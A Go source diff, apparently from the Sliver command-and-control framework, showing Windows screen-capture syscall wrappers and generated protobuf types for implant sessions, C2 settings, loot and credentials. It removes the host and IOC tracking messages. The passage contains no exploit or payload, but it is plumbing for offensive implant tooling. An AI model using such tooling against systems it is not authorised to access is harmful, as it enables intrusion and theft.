if HGLOBAL == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func GlobalFree(hMem windows.Handle) (HGLOBAL windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGlobalFree.Addr(), 1, uintptr(hMem), 0, 0)
HGLOBAL = windows.Handle(r0)
if HGLOBAL == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func GlobalLock(hMem windows.Handle) (LPVOID uintptr, err error) {
r0, _, e1 := syscall.Syscall(procGlobalLock.Addr(), 1, uintptr(hMem), 0, 0)
LPVOID = uintptr(r0)
if LPVOID == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func GlobalUnlock(hMem windows.Handle) (BOOL uint32, err error) {
r0, _, e1 := syscall.Syscall(procGlobalUnlock.Addr(), 1, uintptr(hMem), 0, 0)
BOOL = uint32(r0)
if BOOL == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func SelectObject(hdc windows.Handle, h windows.Handle) (HGDIOBJ windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procSelectObject.Addr(), 2, uintptr(hdc), uintptr(h), 0)
HGDIOBJ = windows.Handle(r0)
if HGDIOBJ == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func BitBlt(hdc windows.Handle, x uint32, y uint32, cx uint32, cy uint32, hdcSrc windows.Handle, x1 uint32, y1 uint32, rop int32) (BOOL int, err error) {
r0, _, e1 := syscall.Syscall9(procBitBlt.Addr(), 9, uintptr(hdc), uintptr(x), uintptr(y), uintptr(cx), uintptr(cy), uintptr(hdcSrc), uintptr(x1), uintptr(y1), uintptr(rop))
BOOL = int(r0)
if BOOL == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func GetDIBits(hdc windows.Handle, hbm windows.Handle, start uint32, cLines uint32, lpvBits uintptr, lpbmi uintptr, usage int) (ret int, err error) {
r0, _, e1 := syscall.Syscall9(procGetDIBits.Addr(), 7, uintptr(hdc), uintptr(hbm), uintptr(start), uintptr(cLines), uintptr(lpvBits), uintptr(lpbmi), uintptr(usage), 0, 0)
ret = int(r0)
if ret == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
+86 -429
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.15.8
// protoc v3.17.3
// source: clientpb/client.proto
package clientpb
@@ -380,29 +380,28 @@ type Session struct {
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
ID uint32 `protobuf:"varint,1,opt,name=ID,proto3" json:"ID,omitempty"`
Name string `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
Hostname string `protobuf:"bytes,3,opt,name=Hostname,proto3" json:"Hostname,omitempty"`
UUID string `protobuf:"bytes,4,opt,name=UUID,proto3" json:"UUID,omitempty"`
Username string `protobuf:"bytes,5,opt,name=Username,proto3" json:"Username,omitempty"`
UID string `protobuf:"bytes,6,opt,name=UID,proto3" json:"UID,omitempty"`
GID string `protobuf:"bytes,7,opt,name=GID,proto3" json:"GID,omitempty"`
OS string `protobuf:"bytes,8,opt,name=OS,proto3" json:"OS,omitempty"`
Arch string `protobuf:"bytes,9,opt,name=Arch,proto3" json:"Arch,omitempty"`
Transport string `protobuf:"bytes,10,opt,name=Transport,proto3" json:"Transport,omitempty"`
RemoteAddress string `protobuf:"bytes,11,opt,name=RemoteAddress,proto3" json:"RemoteAddress,omitempty"`
PID int32 `protobuf:"varint,12,opt,name=PID,proto3" json:"PID,omitempty"`
Filename string `protobuf:"bytes,13,opt,name=Filename,proto3" json:"Filename,omitempty"` // Argv[0]
LastCheckin string `protobuf:"bytes,14,opt,name=LastCheckin,proto3" json:"LastCheckin,omitempty"`
ActiveC2 string `protobuf:"bytes,15,opt,name=ActiveC2,proto3" json:"ActiveC2,omitempty"`
Version string `protobuf:"bytes,16,opt,name=Version,proto3" json:"Version,omitempty"`
Evasion bool `protobuf:"varint,17,opt,name=Evasion,proto3" json:"Evasion,omitempty"`
IsDead bool `protobuf:"varint,18,opt,name=IsDead,proto3" json:"IsDead,omitempty"`
ReconnectInterval uint32 `protobuf:"varint,19,opt,name=ReconnectInterval,proto3" json:"ReconnectInterval,omitempty"`
ProxyURL string `protobuf:"bytes,20,opt,name=ProxyURL,proto3" json:"ProxyURL,omitempty"`
PollInterval uint32 `protobuf:"varint,21,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
Burned bool `protobuf:"varint,22,opt,name=Burned,proto3" json:"Burned,omitempty"`
Extensions []string `protobuf:"bytes,23,rep,name=Extensions,proto3" json:"Extensions,omitempty"`
ID uint32 `protobuf:"varint,1,opt,name=ID,proto3" json:"ID,omitempty"`
Name string `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
Hostname string `protobuf:"bytes,3,opt,name=Hostname,proto3" json:"Hostname,omitempty"`
UUID string `protobuf:"bytes,4,opt,name=UUID,proto3" json:"UUID,omitempty"`
Username string `protobuf:"bytes,5,opt,name=Username,proto3" json:"Username,omitempty"`
UID string `protobuf:"bytes,6,opt,name=UID,proto3" json:"UID,omitempty"`
GID string `protobuf:"bytes,7,opt,name=GID,proto3" json:"GID,omitempty"`
OS string `protobuf:"bytes,8,opt,name=OS,proto3" json:"OS,omitempty"`
Arch string `protobuf:"bytes,9,opt,name=Arch,proto3" json:"Arch,omitempty"`
Transport string `protobuf:"bytes,10,opt,name=Transport,proto3" json:"Transport,omitempty"`
RemoteAddress string `protobuf:"bytes,11,opt,name=RemoteAddress,proto3" json:"RemoteAddress,omitempty"`
PID int32 `protobuf:"varint,12,opt,name=PID,proto3" json:"PID,omitempty"`
Filename string `protobuf:"bytes,13,opt,name=Filename,proto3" json:"Filename,omitempty"` // Argv[0]
LastCheckin string `protobuf:"bytes,14,opt,name=LastCheckin,proto3" json:"LastCheckin,omitempty"`
ActiveC2 string `protobuf:"bytes,15,opt,name=ActiveC2,proto3" json:"ActiveC2,omitempty"`
Version string `protobuf:"bytes,16,opt,name=Version,proto3" json:"Version,omitempty"`
Evasion bool `protobuf:"varint,17,opt,name=Evasion,proto3" json:"Evasion,omitempty"`
IsDead bool `protobuf:"varint,18,opt,name=IsDead,proto3" json:"IsDead,omitempty"`
ReconnectInterval uint32 `protobuf:"varint,19,opt,name=ReconnectInterval,proto3" json:"ReconnectInterval,omitempty"`
ProxyURL string `protobuf:"bytes,20,opt,name=ProxyURL,proto3" json:"ProxyURL,omitempty"`
PollInterval uint32 `protobuf:"varint,21,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
Burned bool `protobuf:"varint,22,opt,name=Burned,proto3" json:"Burned,omitempty"`
}
func (x *Session) Reset() {
@@ -591,13 +590,6 @@ func (x *Session) GetBurned() bool {
return false
}
func (x *Session) GetExtensions() []string {
if x != nil {
return x.Extensions
}
return nil
}
type ImplantC2 struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
@@ -2630,11 +2622,10 @@ type UpdateSession struct {
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
SessionID uint32 `protobuf:"varint,1,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
Name string `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
ReconnectInterval int32 `protobuf:"varint,3,opt,name=ReconnectInterval,proto3" json:"ReconnectInterval,omitempty"`
PollInterval int32 `protobuf:"varint,4,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
Extensions []string `protobuf:"bytes,5,rep,name=Extensions,proto3" json:"Extensions,omitempty"`
SessionID uint32 `protobuf:"varint,1,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
Name string `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
ReconnectInterval int32 `protobuf:"varint,3,opt,name=ReconnectInterval,proto3" json:"ReconnectInterval,omitempty"`
PollInterval int32 `protobuf:"varint,4,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
}
func (x *UpdateSession) Reset() {
@@ -2697,13 +2688,6 @@ func (x *UpdateSession) GetPollInterval() int32 {
return 0
}
func (x *UpdateSession) GetExtensions() []string {
if x != nil {
return x.Extensions
}
return nil
}
type GenerateReq struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
@@ -4477,243 +4461,6 @@ func (x *AllLoot) GetLoot() []*Loot {
return nil
}
// [ Hosts ] ----------------------------------------
type IOC struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Path string `protobuf:"bytes,1,opt,name=Path,proto3" json:"Path,omitempty"`
FileHash string `protobuf:"bytes,2,opt,name=FileHash,proto3" json:"FileHash,omitempty"`
ID string `protobuf:"bytes,3,opt,name=ID,proto3" json:"ID,omitempty"`
}
func (x *IOC) Reset() {
*x = IOC{}
if protoimpl.UnsafeEnabled {
mi := &file_clientpb_client_proto_msgTypes[61]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *IOC) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*IOC) ProtoMessage() {}
func (x *IOC) ProtoReflect() protoreflect.Message {
mi := &file_clientpb_client_proto_msgTypes[61]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use IOC.ProtoReflect.Descriptor instead.
func (*IOC) Descriptor() ([]byte, []int) {
return file_clientpb_client_proto_rawDescGZIP(), []int{61}
}
func (x *IOC) GetPath() string {
if x != nil {
return x.Path
}
return ""
}
func (x *IOC) GetFileHash() string {
if x != nil {
return x.FileHash
}
return ""
}
func (x *IOC) GetID() string {
if x != nil {
return x.ID
}
return ""
}
type ExtensionData struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Output string `protobuf:"bytes,1,opt,name=Output,proto3" json:"Output,omitempty"`
}
func (x *ExtensionData) Reset() {
*x = ExtensionData{}
if protoimpl.UnsafeEnabled {
mi := &file_clientpb_client_proto_msgTypes[62]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *ExtensionData) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*ExtensionData) ProtoMessage() {}
func (x *ExtensionData) ProtoReflect() protoreflect.Message {
mi := &file_clientpb_client_proto_msgTypes[62]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use ExtensionData.ProtoReflect.Descriptor instead.
func (*ExtensionData) Descriptor() ([]byte, []int) {
return file_clientpb_client_proto_rawDescGZIP(), []int{62}
}
func (x *ExtensionData) GetOutput() string {
if x != nil {
return x.Output
}
return ""
}
type Host struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Hostname string `protobuf:"bytes,1,opt,name=Hostname,proto3" json:"Hostname,omitempty"`
HostUUID string `protobuf:"bytes,2,opt,name=HostUUID,proto3" json:"HostUUID,omitempty"`
OSVersion string `protobuf:"bytes,3,opt,name=OSVersion,proto3" json:"OSVersion,omitempty"`
IOCs []*IOC `protobuf:"bytes,4,rep,name=IOCs,proto3" json:"IOCs,omitempty"`
ExtensionData map[string]*ExtensionData `protobuf:"bytes,5,rep,name=ExtensionData,proto3" json:"ExtensionData,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
}
func (x *Host) Reset() {
*x = Host{}
if protoimpl.UnsafeEnabled {
mi := &file_clientpb_client_proto_msgTypes[63]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Host) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Host) ProtoMessage() {}
func (x *Host) ProtoReflect() protoreflect.Message {
mi := &file_clientpb_client_proto_msgTypes[63]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Host.ProtoReflect.Descriptor instead.
func (*Host) Descriptor() ([]byte, []int) {
return file_clientpb_client_proto_rawDescGZIP(), []int{63}
}
func (x *Host) GetHostname() string {
if x != nil {
return x.Hostname
}
return ""
}
func (x *Host) GetHostUUID() string {
if x != nil {
return x.HostUUID
}
return ""
}
func (x *Host) GetOSVersion() string {
if x != nil {
return x.OSVersion
}
return ""
}
func (x *Host) GetIOCs() []*IOC {
if x != nil {
return x.IOCs
}
return nil
}
func (x *Host) GetExtensionData() map[string]*ExtensionData {
if x != nil {
return x.ExtensionData
}
return nil
}
type AllHosts struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Hosts []*Host `protobuf:"bytes,1,rep,name=Hosts,proto3" json:"Hosts,omitempty"`
}
func (x *AllHosts) Reset() {
*x = AllHosts{}
if protoimpl.UnsafeEnabled {
mi := &file_clientpb_client_proto_msgTypes[64]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *AllHosts) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*AllHosts) ProtoMessage() {}
func (x *AllHosts) ProtoReflect() protoreflect.Message {
mi := &file_clientpb_client_proto_msgTypes[64]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use AllHosts.ProtoReflect.Descriptor instead.
func (*AllHosts) Descriptor() ([]byte, []int) {
return file_clientpb_client_proto_rawDescGZIP(), []int{64}
}
func (x *AllHosts) GetHosts() []*Host {
if x != nil {
return x.Hosts
}
return nil
}
var File_clientpb_client_proto protoreflect.FileDescriptor
var file_clientpb_client_proto_rawDesc = []byte{
@@ -4732,7 +4479,7 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x41, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c,
0x65, 0x64, 0x41, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09,
0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x08, 0x20, 0x01,
0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x22, 0xe3, 0x04, 0x0a, 0x07, 0x53, 0x65, 0x73,
0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x22, 0xc3, 0x04, 0x0a, 0x07, 0x53, 0x65, 0x73,
0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d,
0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01,
0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74,
@@ -4768,9 +4515,7 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x52, 0x4c, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76,
0x61, 0x6c, 0x18, 0x15, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e,
0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64,
0x18, 0x16, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, 0x1e,
0x0a, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x17, 0x20, 0x03,
0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x53,
0x18, 0x16, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x22, 0x53,
0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x12, 0x1a, 0x0a, 0x08, 0x50,
0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x50,
0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, 0x02,
@@ -5008,7 +4753,7 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x53, 0x65, 0x73,
0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c,
0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x08,
0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xb3, 0x01, 0x0a, 0x0d, 0x55, 0x70, 0x64,
0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x93, 0x01, 0x0a, 0x0d, 0x55, 0x70, 0x64,
0x61, 0x74, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65,
0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x53,
0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65,
@@ -5017,9 +4762,7 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x6c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65,
0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x6f,
0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05,
0x52, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1e,
0x0a, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x03,
0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x3e,
0x52, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x22, 0x3e,
0x0a, 0x0b, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a,
0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e,
0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74,
@@ -5223,58 +4966,29 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, 0x07, 0x41, 0x6c, 0x6c,
0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x18, 0x01, 0x20, 0x03,
0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f,
0x6f, 0x74, 0x52, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x22, 0x45, 0x0a, 0x03, 0x49, 0x4f, 0x43, 0x12,
0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50,
0x61, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x18,
0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x12,
0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x22,
0x27, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61,
0x12, 0x16, 0x0a, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09,
0x52, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x22, 0xa3, 0x02, 0x0a, 0x04, 0x48, 0x6f, 0x73,
0x74, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20,
0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a,
0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52,
0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x4f, 0x53, 0x56,
0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4f, 0x53,
0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x0a, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x18,
0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
0x2e, 0x49, 0x4f, 0x43, 0x52, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x12, 0x47, 0x0a, 0x0d, 0x45, 0x78,
0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x03, 0x28,
0x0b, 0x32, 0x21, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73,
0x74, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45,
0x6e, 0x74, 0x72, 0x79, 0x52, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44,
0x61, 0x74, 0x61, 0x1a, 0x59, 0x0a, 0x12, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79,
0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76,
0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69,
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44,
0x61, 0x74, 0x61, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x30,
0x0a, 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f,
0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65,
0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73,
0x2a, 0x4a, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74,
0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00,
0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12,
0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12,
0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x2a, 0x2d, 0x0a, 0x0d,
0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a,
0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01,
0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2e, 0x0a, 0x08, 0x4c,
0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0d, 0x0a, 0x09, 0x4c, 0x4f, 0x4f, 0x54, 0x5f,
0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x13, 0x0a, 0x0f, 0x4c, 0x4f, 0x4f, 0x54, 0x5f, 0x43,
0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x01, 0x2a, 0x4d, 0x0a, 0x0e, 0x43,
0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x12, 0x11, 0x0a,
0x0d, 0x4e, 0x4f, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x00,
0x12, 0x11, 0x0a, 0x0d, 0x55, 0x53, 0x45, 0x52, 0x5f, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52,
0x44, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x41, 0x50, 0x49, 0x5f, 0x4b, 0x45, 0x59, 0x10, 0x02,
0x12, 0x08, 0x0a, 0x04, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69,
0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c,
0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12,
0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74,
0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f,
